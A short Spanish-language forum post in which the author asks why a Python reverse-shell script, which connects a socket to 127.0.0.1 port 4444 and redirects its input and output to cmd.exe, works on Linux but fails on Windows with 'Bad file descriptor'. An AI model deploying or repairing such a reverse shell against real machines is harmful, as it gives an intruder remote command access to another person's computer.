Hola buenas he buscado por google pero no he encontrado nada se que funciona en linux pero en windows me da error.
#!/usr/bin/python
import socket
import subprocess
import os
host = "127.0.0.1"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(['cmd.exe'])
y me salta el error de Bad file descriptor y no se por que.